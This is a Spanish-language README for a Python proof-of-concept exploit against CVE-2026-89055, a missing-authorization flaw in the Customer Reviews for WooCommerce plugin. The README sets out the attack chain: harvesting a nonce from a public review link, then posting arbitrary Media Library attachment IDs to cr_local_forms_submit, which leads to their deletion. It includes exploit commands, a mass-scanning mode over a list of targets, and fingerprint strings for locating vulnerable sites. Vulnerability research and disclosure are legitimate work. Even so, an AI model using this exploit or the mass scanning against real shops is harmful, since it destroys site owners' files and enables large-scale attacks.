
Comprobación/exploit PoC en Python para CVE-2026-89055, un bypass de autorización no autenticado en Customer Reviews for WooCommerce que permite a los atacantes vincular archivos adjuntos arbitrarios de la Biblioteca de medios para su eliminación.
PoC en Python 3 para CVE-2026-89055 en Customer Reviews for WooCommerce (customer-reviews-woocommerce / Ivole CusRev).
CVE-2026-89055 — Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0 es vulnerable a falta de autorización en el manejador AJAX público del formulario de reseñas local (cr_local_forms_submit). Cualquier persona con un enlace de reseña de cliente (/cusrev/{13-hex formId}/ del correo posterior al pedido) puede obtener un crSubmitNonce válido y enviar reseñas cuyo array items[].media puede contener IDs de adjuntos arbitrarios de la Biblioteca de Medios (imágenes de productos, logotipos, PDFs, etc.). Esos IDs se almacenan en los metadatos del comentario de reseña; cuando la reseña se elimina permanentemente (purga de papelera / limpieza de spam), delete_review_media_attachments() llama a wp_delete_attachment() sobre cada ID vinculado sin comprobaciones de propiedad. CVSS 3.1 9.1 Crítico (C:N/I:H/A:H). Corregido en > 5.120.0.
Catálogo comunitario: https://pocbit.org/pocs/
{site}/cusrev/{formId}/ → leer crSubmitNonce + valores data-itemid del producto.POST a admin-ajax.php: action=cr_local_forms_submit con items[n][media][]=<victim_attachment_id>.ivole_reviews_locl_img / video).delete_review_media_attachments elimina cada archivo adjunto vinculado.Este PoC realiza los pasos 1–2 sobre objetivos autorizados. El paso 4 es un evento del ciclo de vida del sitio/administrador (documentar en la salida como chain_note).
pip install -r requirements.txt
Python 3.8+.
# Plugin version + optional live form (nonce + item IDs)
python poc.py -u https://shop.example --mode check --form-url /cusrev/abc123def4567/
# Inject foreign attachment ID into first product line item
python poc.py -u https://shop.example --mode exploit \
--form-id abc123def4567 --attachment-id 123 \
--verify-url https://shop.example/wp-content/uploads/2026/01/product.jpg
# Mass: base URL per line, optional form path after |
python poc.py --list targets.example.txt --mode check -j 20 --quiet
| Archivo | Significado |
|---|---|
cve_2026_89055_results.jsonl | JSON por objetivo |
hits.txt | Candidatos o marcadores de explotación |
candidates.jsonl | Hosts con plugin vulnerable que necesitan enlaces de formulario |
body="/wp-content/plugins/customer-reviews-woocommerce/"
body="/cusrev/"
Solo pruebas autorizadas.
| Plataforma | WordPress + WooCommerce |
| Plugin | Customer Reviews for WooCommerce |
| Afectado | ≤ 5.120.0 |
| CWE | CWE-862 (Falta de Autorización) |
| Requisito previo | Enlace público /cusrev/{formId}/ (nonce en la página) |
| Impacto | Eliminación arbitraria de medios tras la purga de la reseña (integridad + disponibilidad) |